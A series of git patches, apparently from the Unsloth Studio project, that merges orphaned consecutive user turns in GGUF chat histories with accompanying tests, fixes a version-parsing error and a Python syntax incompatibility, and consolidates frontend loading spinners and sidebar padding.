From 86c6268d5cb2c0c36d0c168ea2760f745e96172b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 15 Jun 2026 04:56:11 -0700
Subject: [PATCH 09/91] Studio: coalesce orphaned GGUF user turns so strict
 chat templates stay alternating (#5980)

When an empty assistant turn is dropped (a 0-token model reply, or a Stop-button
sentinel handled by _drop_empty_assistant_sentinels) the GGUF chat history can be
left with two user turns back to back. Strict Jinja chat templates (Gemma 3, some
Mistral variants) call raise_exception("Conversation roles must alternate ...") on
the first role-parity break, so llama-server returns a 400 and the thread becomes
unsendable.

Add _coalesce_consecutive_user_turns (merging only adjacent user turns, never
assistant/tool turns, preserving multimodal parts) and apply it in
_openai_messages_for_gguf_chat. The tool path inherits the fix for free because it
rebuilds from this same normalized history via _set_or_prepend_system_message. The
passthrough path is left untouched (it forwards messages verbatim). No-op for
already-alternating histories. Adds unit and end-to-end coverage.
---
 studio/backend/routes/inference.py            |  51 +++++-
 .../tests/test_openai_tool_passthrough.py     | 171 ++++++++++++++++++
 2 files changed, 220 insertions(+), 2 deletions(-)

diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index bf471eeb6e..d7db0e6f8d 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -7796,6 +7796,47 @@ def _drop_empty_assistant_sentinels(messages: list[dict]) -> list[dict]:
     return out
 
 
+def _merge_user_content(a: Any, b: Any) -> Any:
+    """Join two user ``content`` values: strings with a blank line, else as concatenated parts."""
+    if isinstance(a, str) and isinstance(b, str):
+        if not a:
+            return b
+        if not b:
+            return a
+        return a + "\n\n" + b
+
+    def _parts(c: Any) -> list:
+        if c is None:
+            return []
+        if isinstance(c, str):
+            return [{"type": "text", "text": c}] if c else []
+        if isinstance(c, list):
+            return list(c)
+        return [{"type": "text", "text": str(c)}]
+
+    return _parts(a) + _parts(b)
+
+
+def _coalesce_consecutive_user_turns(messages: list[dict]) -> list[dict]:
+    """Merge adjacent user turns so the GGUF history stays alternating.
+
+    Dropping an empty assistant turn (0-token reply or Stop-button sentinel) can
+    leave two user turns in a row, which makes strict templates (Gemma 3, ...)
+    raise "Conversation roles must alternate" -> llama-server 400. Only user turns
+    merge (assistant/tool turns may carry tool_calls/tool_call_id); multimodal
+    parts are preserved; no-op for already-alternating histories.
+    """
+    out: list[dict] = []
+    for m in messages:
+        if m.get("role") == "user" and out and out[-1].get("role") == "user":
+            prev = dict(out[-1])
+            prev["content"] = _merge_user_content(prev.get("content"), m.get("content"))
+            out[-1] = prev
+            continue
+        out.append(m)
+    return out
+
+
 _LOCAL_SERVER_BUILTIN_TOOL_NAMES = frozenset(
     {"web_search", "web_fetch", "code_execution", "image_generation"}
 )
@@ -7960,8 +8001,14 @@ def _openai_messages_for_gguf_chat(payload, is_vision: bool) -> tuple[list[dict]
     per-turn ``image_url`` parts so multi-image chat history keeps each image
     attached to its original turn.
     """
-    messages = _strip_provider_synthetic_tool_history(
-        _drop_empty_assistant_sentinels([m.model_dump(exclude_none = True) for m in payload.messages])
+    # Coalesce only on the GGUF chat path (strict Jinja template); the tool path
+    # reuses this via _set_or_prepend_system_message. Passthrough forwards verbatim.
+    messages = _coalesce_consecutive_user_turns(
+        _strip_provider_synthetic_tool_history(
+            _drop_empty_assistant_sentinels(
+                [m.model_dump(exclude_none = True) for m in payload.messages]
+            )
+        )
     )
     has_message_image = any(
         isinstance(msg.get("content"), list)
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index b54f4c130d..b2b22f8934 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -32,9 +32,13 @@ from routes.inference import (
     _build_openai_passthrough_body,
     _build_passthrough_payload,
     _clamp_finish_reason,
+    _coalesce_consecutive_user_turns,
+    _drop_empty_assistant_sentinels,
     _effective_max_tokens,
     _extract_content_parts,
     _friendly_error,
+    _merge_user_content,
+    _openai_messages_for_gguf_chat,
     _openai_stream_usage_chunk,
     _set_or_prepend_system_message,
     openai_chat_completions,
@@ -1446,3 +1450,170 @@ class TestResponsesChatTemplateKwargs:
         )
         chat_req = _build_chat_request(payload, self._messages, stream = False)
         assert chat_req.enable_thinking is None
+
+
+# =====================================================================
+# GGUF chat-template role alternation: coalesce orphaned user turns left
+# behind when an empty assistant turn is dropped, so strict templates
+# (Gemma 3, ...) do not 400 on a role-parity break.
+# =====================================================================
+
+
+class TestMergeUserContent:
+    def test_strings_join_with_blank_line(self):
+        assert _merge_user_content("hi", "again") == "hi\n\nagain"
+
+    def test_empty_sides_passthrough(self):
+        assert _merge_user_content("", "again") == "again"
+        assert _merge_user_content("hi", "") == "hi"
+
+    def test_multimodal_parts_concatenate(self):
+        img = {"type": "image_url", "image_url": {"url": "data:image/png;base64,AAAA"}}
+        out = _merge_user_content([{"type": "text", "text": "look"}, img], "and this?")
+        assert out == [
+            {"type": "text", "text": "look"},
+            img,
+            {"type": "text", "text": "and this?"},
+        ]
+
+
+class TestCoalesceConsecutiveUserTurns:
+    def test_merges_two_string_user_turns(self):
+        msgs = [
+            {"role": "user", "content": "hi"},
+            {"role": "user", "content": "again"},
+        ]
+        assert _coalesce_consecutive_user_turns(msgs) == [
+            {"role": "user", "content": "hi\n\nagain"},
+        ]
+
+    def test_merges_three_consecutive_user_turns(self):
+        msgs = [
+            {"role": "user", "content": "a"},
+            {"role": "user", "content": "b"},
+            {"role": "user", "content": "c"},
+        ]
+        assert _coalesce_consecutive_user_turns(msgs) == [
+            {"role": "user", "content": "a\n\nb\n\nc"},
+        ]
+
+    def test_alternating_history_is_unchanged(self):
+        msgs = [
+            {"role": "system", "content": "sys"},
+            {"role": "user", "content": "hi"},
+            {"role": "assistant", "content": "hello"},
+            {"role": "user", "content": "bye"},
+        ]
+        assert _coalesce_consecutive_user_turns(msgs) == msgs
+
+    def test_assistant_and_tool_turns_untouched(self):
+        msgs = [
+            {"role": "user", "content": "weather?"},
+            {
+                "role": "assistant",
+                "tool_calls": [
+                    {
+                        "id": "call_1",
+                        "type": "function",
+                        "function": {"name": "get_weather", "arguments": "{}"},
+                    }
+                ],
+            },
+            {"role": "tool", "tool_call_id": "call_1", "content": "{}"},
+        ]
+        assert _coalesce_consecutive_user_turns(msgs) == msgs
+
+    def test_multimodal_parts_survive_merge(self):
+        img = {"type": "image_url", "image_url": {"url": "data:image/png;base64,AAAA"}}
+        msgs = [
+            {"role": "user", "content": [{"type": "text", "text": "look"}, img]},
+            {"role": "user", "content": "and this?"},
+        ]
+        out = _coalesce_consecutive_user_turns(msgs)
+        assert len(out) == 1
+        assert out[0]["content"] == [
+            {"type": "text", "text": "look"},
+            img,
+            {"type": "text", "text": "and this?"},
+        ]
+
+    def test_does_not_mutate_input(self):
+        msgs = [
+            {"role": "user", "content": "hi"},
+            {"role": "user", "content": "again"},
+        ]
+        _coalesce_consecutive_user_turns(msgs)
+        assert msgs[0]["content"] == "hi"
+
+
+class TestGgufChatHistoryAlternation:
+    def test_empty_assistant_turn_dropped_then_users_coalesced(self):
+        req = ChatCompletionRequest(
+            model = "default",
+            messages = [
+                ChatMessage(role = "user", content = "hi"),
+                ChatMessage(role = "assistant", content = ""),
+                ChatMessage(role = "user", content = "again"),
+            ],
+        )
+        out, _ = _openai_messages_for_gguf_chat(req, is_vision = False)
+        roles = [m["role"] for m in out]
+        assert roles == ["user"]
+        assert out[0]["content"] == "hi\n\nagain"
+
+    def test_bare_stop_sentinel_also_coalesced(self):
+        req = ChatCompletionRequest(
+            model = "default",
+            messages = [
+                ChatMessage(role = "user", content = "hi"),
+                ChatMessage(role = "assistant"),
+                ChatMessage(role = "user", content = "again"),
+            ],
+        )
+        out, _ = _openai_messages_for_gguf_chat(req, is_vision = False)
+        roles = [m["role"] for m in out]
+        assert all(roles[i] != roles[i + 1] for i in range(len(roles) - 1)), roles
+        assert roles == ["user"]
+
+    def test_system_prompt_preserved(self):
+        req = ChatCompletionRequest(
+            model = "default",
+            messages = [
+                ChatMessage(role = "system", content = "be brief"),
+                ChatMessage(role = "user", content = "hi"),
+                ChatMessage(role = "assistant", content = ""),
+                ChatMessage(role = "user", content = "again"),
+            ],
+        )
+        out, _ = _openai_messages_for_gguf_chat(req, is_vision = False)
+        assert [m["role"] for m in out] == ["system", "user"]
+        assert out[1]["content"] == "hi\n\nagain"
+
+    def test_normal_history_unchanged(self):
+        req = ChatCompletionRequest(
+            model = "default",
+            messages = [
+                ChatMessage(role = "user", content = "hi"),
+                ChatMessage(role = "assistant", content = "hello"),
+                ChatMessage(role = "user", content = "again"),
+            ],
+        )
+        out, _ = _openai_messages_for_gguf_chat(req, is_vision = False)
+        assert [m["role"] for m in out] == ["user", "assistant", "user"]
+
+    def test_tool_path_rebuild_stays_alternating(self):
+        # Tool path rebuilds via _set_or_prepend_system_message over the coalesced
+        # history, so it stays alternating too.
+        req = ChatCompletionRequest(
+            model = "default",
+            messages = [
+                ChatMessage(role = "user", content = "hi"),
+                ChatMessage(role = "assistant", content = ""),
+                ChatMessage(role = "user", content = "again"),
+            ],
+        )
+        normalized, _ = _openai_messages_for_gguf_chat(req, is_vision = False)
+        rebuilt = _set_or_prepend_system_message(normalized, "You have access to tools.")
+        roles = [m["role"] for m in rebuilt]
+        assert roles == ["system", "user"]
+        assert all(roles[i] != roles[i + 1] for i in range(len(roles) - 1)), roles

From 5b0986fe3036b9aa087c0c7f5b7750f2caa99428 Mon Sep 17 00:00:00 2001
From: UmranPros <152087084+umran666@users.noreply.github.com>
Date: Mon, 15 Jun 2026 17:39:55 +0530
Subject: [PATCH 10/91] Fix version parsing NameError and older Python syntax
 compatibility (#6318)

* Fix undefined variable 'e' in Version parsing exception

* Fix SyntaxError for tuple unpacking in array index for Python < 3.11

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 unsloth/import_fixes.py             | 2 +-
 unsloth/kernels/moe/tests/common.py | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index a100e11f0c..eb43666d56 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -49,7 +49,7 @@ def Version(version):
         new_version = str(version)
         new_version = re.match(r"[0-9\.]{1,}", new_version)
         if new_version is None:
-            raise Exception(str(e))
+            raise ValueError(f"Could not parse version: {version}")
         new_version = new_version.group(0).rstrip(".")
         if new_version != version:
             new_version += ".1"  # Add .1 for dev / alpha / beta / rc
diff --git a/unsloth/kernels/moe/tests/common.py b/unsloth/kernels/moe/tests/common.py
index 9d19fd4a18..f35a2fc9c3 100644
--- a/unsloth/kernels/moe/tests/common.py
+++ b/unsloth/kernels/moe/tests/common.py
@@ -158,8 +158,8 @@ def assert_close(
         )
 
         bad_idxs = bad_idxs.unbind(-1)
-        print("ref values: ", ref[*bad_idxs].cpu())
-        print("tri values: ", tri[*bad_idxs].cpu())
+        print("ref values: ", ref[bad_idxs].cpu())
+        print("tri values: ", tri[bad_idxs].cpu())
 
     assert max_err <= maxtol
     assert rms_err <= rmstol

From 4ed40cb0747d21b3b91d21558168d259cb07f7cf Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 15 Jun 2026 05:15:51 -0700
Subject: [PATCH 11/91] Studio: loading spinner consolidation and sidebar hover
 pill polish (#6334)

* Studio: use the shared spinner for loading toasts

The loading toast used a different spinner from the model download toast,
so 'Unloading model' and 'Downloading model' looked inconsistent. Switch
the sonner loading icon to the app-wide Spinner so they match.

* Studio: consolidate loading spinners onto the shared Spinner

Replace the duplicate ToolCallSpinner and the remaining inline loading
spinners (hugeicons Loading03, lucide Loader2/Loader/LoaderCircle, and
the hand-rolled border rings) with the shared Spinner component, then
delete tool-call-spinner.tsx. Refresh and regenerate action icons and
the shimmer button are left alone since they are not loading spinners.

* Studio: align and even out sidebar hover pills

The Recents chat rows started further left than the nav items above them
and the hover pill widths varied. Give every nav and chat group the same
pl-1.5 pr-2 so the pills line up and share one width, and on hover the
chat rows only reserve room for the kebab so the title keeps one more
character.

* Studio: address review feedback on spinner and sidebar polish

- recipe-graph-node: restore rounded-full bg-background on the spinner
  wrapper so it keeps masking the grid lines behind the floating spinner
  (the original hand-rolled ring had this mask).
- app-sidebar: revert the pinned-row open-state padding to pr-8 so the
  unpin button stays clear of the title when the kebab menu is open.
- app-sidebar: correct the now-stale inset comment (pl-1.5 = 6px, 18px).
---
 .../frontend/src/components/app-sidebar.tsx   | 23 +++++++++++--------
 .../src/components/assistant-ui/image.tsx     |  4 ++--
 .../assistant-ui/tool-call-spinner.tsx        | 17 --------------
 .../components/assistant-ui/tool-fallback.tsx |  4 ++--
 .../components/assistant-ui/tool-group.tsx    |  4 ++--
 .../assistant-ui/tool-ui-code-execution.tsx   |  4 ++--
 .../assistant-ui/tool-ui-knowledge-base.tsx   |  5 ++--
 .../assistant-ui/tool-ui-python.tsx           |  4 ++--
 .../assistant-ui/tool-ui-terminal.tsx         |  4 ++--
 .../src/components/tauri/startup-screen.tsx   | 18 ++++-----------
 .../src/components/tauri/update-screen.tsx    | 12 ++--------
 studio/frontend/src/components/ui/sonner.tsx  | 11 +++------
 .../rag/components/document-preview-sheet.tsx |  6 ++---
 .../rag/components/document-status-chip.tsx   |  9 +++-----
 .../components/recipe-graph-node.tsx          |  9 ++++----
 .../dialogs/seed/unstructured-drop-zone.tsx   |  7 ++----
 .../dataset-preview-dialog-mapping.tsx        |  5 ++--
 17 files changed, 53 insertions(+), 93 deletions(-)
 delete mode 100644 studio/frontend/src/components/assistant-ui/tool-call-spinner.tsx

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 8087b30b91..66accdce3a 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -668,15 +668,17 @@ export function AppSidebar() {
         : "sidebar-row-action group-hover/recent-item:opacity-100 group-hover/recent-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto";
     const buttonClass = cn(
       "sidebar-nav-btn h-[33px] cursor-pointer rounded-full pr-4 text-[14.5px] leading-[19px] tracking-nav font-medium",
-      // pl-3 (12px) plus the content's pl-1 (4px) lines the title up with the
-      // Recents label text at 16px.
+      // pl-3 (12px) over the content's pl-1.5 (6px) = 18px, aligning the
+      // title with the nav items above.
       variant === "project" ? "pl-[39px]" : "pl-3",
       variant === "project"
-        ? "group-hover/project-chat-item:pr-8 group-has-[.sidebar-row-action[data-state=open]]/project-chat-item:pr-8"
+        ? "group-hover/project-chat-item:pr-6 group-has-[.sidebar-row-action[data-state=open]]/project-chat-item:pr-6"
         : isPinned
-          ? // Pinned rows show an extra unpin button on hover, so reserve more room.
+          ? // Pinned rows show an extra unpin button on hover, so reserve more room
+            // (pr-8 when the menu is open keeps the unpin button clear of the title).
             "group-hover/recent-item:pr-16 group-has-[.sidebar-row-action[data-state=open]]/recent-item:pr-8"
-          : "group-hover/recent-item:pr-8 group-has-[.sidebar-row-action[data-state=open]]/recent-item:pr-8",
+          : // Hover room for the kebab only; title keeps one more character.
+            "group-hover/recent-item:pr-6 group-has-[.sidebar-row-action[data-state=open]]/recent-item:pr-6",
     );
 
     const isRenamingThis =
@@ -962,7 +964,8 @@ export function AppSidebar() {
         )}
       </SidebarHeader>
 
-      <SidebarGroup className="group-data-[collapsible=icon]:px-0 px-1.5 pt-[9px] pb-px shrink-0">
+      {/* Uniform pl-1.5 pr-2 keeps every hover pill the same width, inset from the edge. */}
+      <SidebarGroup className="group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 pt-[9px] pb-px shrink-0">
         <SidebarGroupContent>
           <SidebarMenu>
             <NavItem
@@ -1002,7 +1005,7 @@ export function AppSidebar() {
           scrolled && "is-scrolled",
         )}
       >
-        <SidebarGroup className="group-data-[collapsible=icon]:px-0 px-1.5 py-0 shrink-0">
+        <SidebarGroup className="group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 py-0 shrink-0">
           <SidebarGroupContent>
             <SidebarMenu>
               <NavItem
@@ -1074,7 +1077,7 @@ export function AppSidebar() {
               </CollapsibleTrigger>
             </SidebarGroupLabel>
             <CollapsibleContent>
-              <SidebarGroupContent className="px-1.5">
+              <SidebarGroupContent className="pl-1.5 pr-2">
                 <SidebarMenu>
                   <NavItem
                     icon={TestTubeOutlineIcon}
@@ -1124,7 +1127,7 @@ export function AppSidebar() {
                 </CollapsibleTrigger>
               </SidebarGroupLabel>
               <CollapsibleContent>
-                <SidebarGroupContent className="pl-1 pr-1.5">
+                <SidebarGroupContent className="pl-1.5 pr-2">
                   <SidebarMenu>
                     {pinnedChatItems.map((item) =>
                       renderChatSidebarItem(item, "recent"),
@@ -1146,7 +1149,7 @@ export function AppSidebar() {
                 </CollapsibleTrigger>
               </SidebarGroupLabel>
               <CollapsibleContent>
-                <SidebarGroupContent className="pl-1 pr-1.5">
+                <SidebarGroupContent className="pl-1.5 pr-2">
                   <SidebarMenu>
                     {recentChatItems.map((item) =>
                       renderChatSidebarItem(item, "recent"),
diff --git a/studio/frontend/src/components/assistant-ui/image.tsx b/studio/frontend/src/components/assistant-ui/image.tsx
index 0850a8230a..f10c1bf024 100644
--- a/studio/frontend/src/components/assistant-ui/image.tsx
+++ b/studio/frontend/src/components/assistant-ui/image.tsx
@@ -17,10 +17,10 @@ import {
   CopyIcon,
   ImageIcon,
   ImageOffIcon,
-  Loader2Icon,
   RefreshCwIcon,
   ShieldAlertIcon,
 } from "lucide-react";
+import { Spinner } from "@/components/ui/spinner";
 import { Download01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
@@ -348,7 +348,7 @@ function ImageGenerating({ className }: { className?: string }) {
         className,
       )}
     >
-      <Loader2Icon className="size-8 animate-spin text-muted-foreground" />
+      <Spinner className="size-8 text-muted-foreground" />
       <span className="sr-only">Generating image…</span>
     </div>
   );
diff --git a/studio/frontend/src/components/assistant-ui/tool-call-spinner.tsx b/studio/frontend/src/components/assistant-ui/tool-call-spinner.tsx
deleted file mode 100644
index 79789692cb..0000000000
--- a/studio/frontend/src/components/assistant-ui/tool-call-spinner.tsx
+++ /dev/null
@@ -1,17 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-"use client";
-
-import { Loader2Icon } from "lucide-react";
-import { cn } from "@/lib/utils";
-
-/** Spinner shown while a tool call runs. Inherits text color to match its surroundings. */
-export function ToolCallSpinner({ className }: { className?: string }) {
-  return (
-    <Loader2Icon
-      aria-label="Loading"
-      className={cn("size-4 shrink-0 animate-spin", className)}
-    />
-  );
-}
diff --git a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
index 8930b6386f..965ad56bfa 100644
--- a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
@@ -8,7 +8,7 @@ import {
   CollapsibleContent,
   CollapsibleTrigger,
 } from "@/components/ui/collapsible";
-import { ToolCallSpinner } from "@/components/assistant-ui/tool-call-spinner";
+import { Spinner } from "@/components/ui/spinner";
 import { useCollapseScrollLock } from "@/hooks/use-collapse-scroll-lock";
 import { cn } from "@/lib/utils";
 import {
@@ -142,7 +142,7 @@ function ToolFallbackTrigger({
       {...props}
     >
       {isRunning ? (
-        <ToolCallSpinner className="aui-tool-fallback-trigger-icon" />
+        <Spinner className="aui-tool-fallback-trigger-icon" />
       ) : ToolIcon ? (
         <ToolIcon
           data-slot="tool-fallback-trigger-icon"
diff --git a/studio/frontend/src/components/assistant-ui/tool-group.tsx b/studio/frontend/src/components/assistant-ui/tool-group.tsx
index a85f6495a2..74b5e02381 100644
--- a/studio/frontend/src/components/assistant-ui/tool-group.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-group.tsx
@@ -21,7 +21,7 @@ import {
 } from "@/components/ui/collapsible";
 import { useCollapseScrollLock } from "@/hooks/use-collapse-scroll-lock";
 import { cn } from "@/lib/utils";
-import { ToolCallSpinner } from "@/components/assistant-ui/tool-call-spinner";
+import { Spinner } from "@/components/ui/spinner";
 
 const ANIMATION_DURATION = 200;
 
@@ -124,7 +124,7 @@ function ToolGroupTrigger({
       {...props}
     >
       {active ? (
-        <ToolCallSpinner className="aui-tool-group-trigger-loader" />
+        <Spinner className="aui-tool-group-trigger-loader" />
       ) : (
         <HugeiconsIcon
           icon={Wrench01Icon}
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-code-execution.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-code-execution.tsx
index e27441183e..23a83bc5ba 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-code-execution.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-code-execution.tsx
@@ -14,7 +14,7 @@ import {
   FileTextIcon,
   TerminalIcon,
 } from "lucide-react";
-import { ToolCallSpinner } from "@/components/assistant-ui/tool-call-spinner";
+import { Spinner } from "@/components/ui/spinner";
 import { memo, useCallback, useEffect, useMemo, useRef, useState } from "react";
 import {
   ToolFallbackContent,
@@ -181,7 +181,7 @@ const CodeExecutionToolUIImpl: ToolCallMessagePartComponent = ({
       <ToolFallbackContent>
         {isRunning ? (
           <div className="flex items-center gap-2 text-sm text-muted-foreground">
-            <ToolCallSpinner className="size-3.5" />
+            <Spinner className="size-3.5" />
             <span>{runningLabel}</span>
           </div>
         ) : resultText ? (
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-knowledge-base.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-knowledge-base.tsx
index 09d6af2d64..ec24060072 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-knowledge-base.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-knowledge-base.tsx
@@ -7,7 +7,8 @@ import {
   type ToolCallMessagePartComponent,
   useAuiState,
 } from "@assistant-ui/react";
-import { FileTextIcon, LibraryBigIcon, LoaderIcon } from "lucide-react";
+import { FileTextIcon, LibraryBigIcon } from "lucide-react";
+import { Spinner } from "@/components/ui/spinner";
 import { memo, useEffect, useMemo, useState } from "react";
 import { Badge } from "./badge";
 import {
@@ -106,7 +107,7 @@ const KnowledgeBaseToolUIImpl: ToolCallMessagePartComponent = ({
       <ToolFallbackContent>
         {isRunning ? (
           <div className="flex items-center gap-2 text-sm text-muted-foreground">
-            <LoaderIcon className="size-3.5 animate-spin" />
+            <Spinner className="size-3.5" />
             <span>
               {query ? (
                 <>Searching documents for &ldquo;{query}&rdquo;&hellip;</>
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
index 1231ca4a7f..d7b0e58f18 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-python.tsx
@@ -8,7 +8,7 @@ import { getAuthToken } from "@/features/auth/session";
 import type { ToolCallMessagePartComponent } from "@assistant-ui/react";
 import { code as codePlugin } from "@streamdown/code";
 import { CheckIcon, CodeIcon, CopyIcon } from "lucide-react";
-import { ToolCallSpinner } from "@/components/assistant-ui/tool-call-spinner";
+import { Spinner } from "@/components/ui/spinner";
 import { memo, useCallback, useEffect, useMemo, useRef, useState } from "react";
 import { Streamdown } from "streamdown";
 import {
@@ -149,7 +149,7 @@ const PythonToolUIImpl: ToolCallMessagePartComponent = ({
           {/* Output */}
           {isRunning ? (
             <div className="mt-2 flex items-center gap-2 text-sm text-muted-foreground">
-              <ToolCallSpinner className="size-3.5" />
+              <Spinner className="size-3.5" />
               <span>Running&hellip;</span>
             </div>
           ) : output ? (
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
index 40cb28d4e4..3c12b16e6b 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
@@ -6,7 +6,7 @@
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import type { ToolCallMessagePartComponent } from "@assistant-ui/react";
 import { CheckIcon, CopyIcon, TerminalIcon } from "lucide-react";
-import { ToolCallSpinner } from "@/components/assistant-ui/tool-call-spinner";
+import { Spinner } from "@/components/ui/spinner";
 import { memo, useCallback, useEffect, useRef, useState } from "react";
 import {
   ToolFallbackContent,
@@ -87,7 +87,7 @@ const TerminalToolUIImpl: ToolCallMessagePartComponent = ({
         <div className="border-l-2 border-muted-foreground/20 pl-2">
           {isRunning ? (
             <div className="flex items-center gap-2 text-sm text-muted-foreground">
-              <ToolCallSpinner className="size-3.5" />
+              <Spinner className="size-3.5" />
               <span>Running&hellip;</span>
             </div>
           ) : output ? (
diff --git a/studio/frontend/src/components/tauri/startup-screen.tsx b/studio/frontend/src/components/tauri/startup-screen.tsx
index 8e373c82a0..fd67a8a841 100644
--- a/studio/frontend/src/components/tauri/startup-screen.tsx
+++ b/studio/frontend/src/components/tauri/startup-screen.tsx
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { ShimmerButton } from "@/components/ui/shimmer-button";
+import { Spinner } from "@/components/ui/spinner";
 import type { BackendStatus } from "@/hooks/use-tauri-backend";
 import type { CopySupportDiagnosticsResult } from "@/lib/tauri-diagnostics";
 import { AnimatePresence, motion } from "motion/react";
@@ -98,15 +99,6 @@ const EASE_OUT_QUART: [number, number, number, number] = [0.165, 0.84, 0.44, 1];
 // Sub-components
 // ---------------------------------------------------------------------------
 
-function TealSpinner({ size = 24 }: { size?: number }) {
-  return (
-    <span
-      className="inline-block animate-spin rounded-full border-2 border-primary border-t-transparent"
-      style={{ width: size, height: size, animationDuration: "0.8s" }}
-    />
-  );
-}
-
 function Logo() {
   return (
     <div className="flex flex-col items-center gap-4">
@@ -148,7 +140,7 @@ function CheckingContent() {
         <Logo />
       </div>
       <div className="mb-10 flex flex-col items-center gap-2">
-        <TealSpinner />
+        <Spinner className="size-6 text-primary" />
         <p className="text-sm text-muted-foreground">Checking...</p>
       </div>
     </div>
@@ -194,7 +186,7 @@ function InstallingContent({
         <Logo />
       </div>
       <div className="mb-10 flex flex-col items-center gap-2">
-        <TealSpinner />
+        <Spinner className="size-6 text-primary" />
         <p className="text-sm font-bold text-foreground">Installing...</p>
         <p className="text-sm font-bold text-muted-foreground">
           Please wait a few mins, then you can start training.
@@ -227,7 +219,7 @@ function RepairingContent({
         <Logo />
       </div>
       <div className="mb-10 flex flex-col items-center gap-2">
-        <TealSpinner />
+        <Spinner className="size-6 text-primary" />
         <p className="text-sm font-bold text-foreground">Updating existing Unsloth install...</p>
         {latest && (
           <p className="max-w-xs text-center text-xs text-muted-foreground">{latest}</p>
@@ -325,7 +317,7 @@ function StartingContent() {
         <Logo />
       </div>
       <div className="mb-10 flex flex-col items-center gap-2">
-        <TealSpinner />
+        <Spinner className="size-6 text-primary" />
         <p className="text-sm text-muted-foreground">Starting server...</p>
       </div>
     </div>
diff --git a/studio/frontend/src/components/tauri/update-screen.tsx b/studio/frontend/src/components/tauri/update-screen.tsx
index 53e39612c0..aa540b7813 100644
--- a/studio/frontend/src/components/tauri/update-screen.tsx
+++ b/studio/frontend/src/components/tauri/update-screen.tsx
@@ -4,6 +4,7 @@
 import type { UpdateStatus } from "@/hooks/use-tauri-update";
 import type { CopySupportDiagnosticsResult } from "@/lib/tauri-diagnostics";
 import { AnimatePresence, motion } from "motion/react";
+import { Spinner } from "@/components/ui/spinner";
 import { useEffect, useRef, useState } from "react";
 
 interface UpdateScreenProps {
@@ -18,15 +19,6 @@ interface UpdateScreenProps {
 
 const EASE_OUT_QUART: [number, number, number, number] = [0.165, 0.84, 0.44, 1];
 
-function Spinner({ size = 24 }: { size?: number }) {
-  return (
-    <span
-      className="inline-block animate-spin rounded-full border-2 border-primary border-t-transparent"
-      style={{ width: size, height: size, animationDuration: "0.8s" }}
-    />
-  );
-}
-
 function Logo() {
   return (
     <div className="flex flex-col items-center gap-4">
@@ -135,7 +127,7 @@ export function UpdateScreen({
         <Logo />
 
         <div className="mt-8 flex flex-col items-center gap-2">
-          {!isError && <Spinner />}
+          {!isError && <Spinner className="size-6 text-primary" />}
           <p className="text-sm font-semibold text-foreground">
             {statusLabel(status)}
           </p>
diff --git a/studio/frontend/src/components/ui/sonner.tsx b/studio/frontend/src/components/ui/sonner.tsx
index 9859190d2c..faaa075fa2 100644
--- a/studio/frontend/src/components/ui/sonner.tsx
+++ b/studio/frontend/src/components/ui/sonner.tsx
@@ -5,10 +5,10 @@ import {
   Alert02Icon,
   CheckmarkCircle02Icon,
   InformationCircleIcon,
-  Loading03Icon,
   MultiplicationSignCircleIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
+import { Spinner } from "@/components/ui/spinner";
 import { useTheme } from "next-themes";
 import { Toaster as Sonner, type ToasterProps } from "sonner";
 
@@ -51,13 +51,8 @@ const Toaster = ({ ...props }: ToasterProps) => {
             className="size-4"
           />
         ),
-        loading: (
-          <HugeiconsIcon
-            icon={Loading03Icon}
-            strokeWidth={2}
-            className="size-4 animate-spin"
-          />
-        ),
+        // App-wide arc spinner so loading toasts match the "Downloading model" toast.
+        loading: <Spinner className="size-4 text-muted-foreground" />,
       }}
       style={
         {
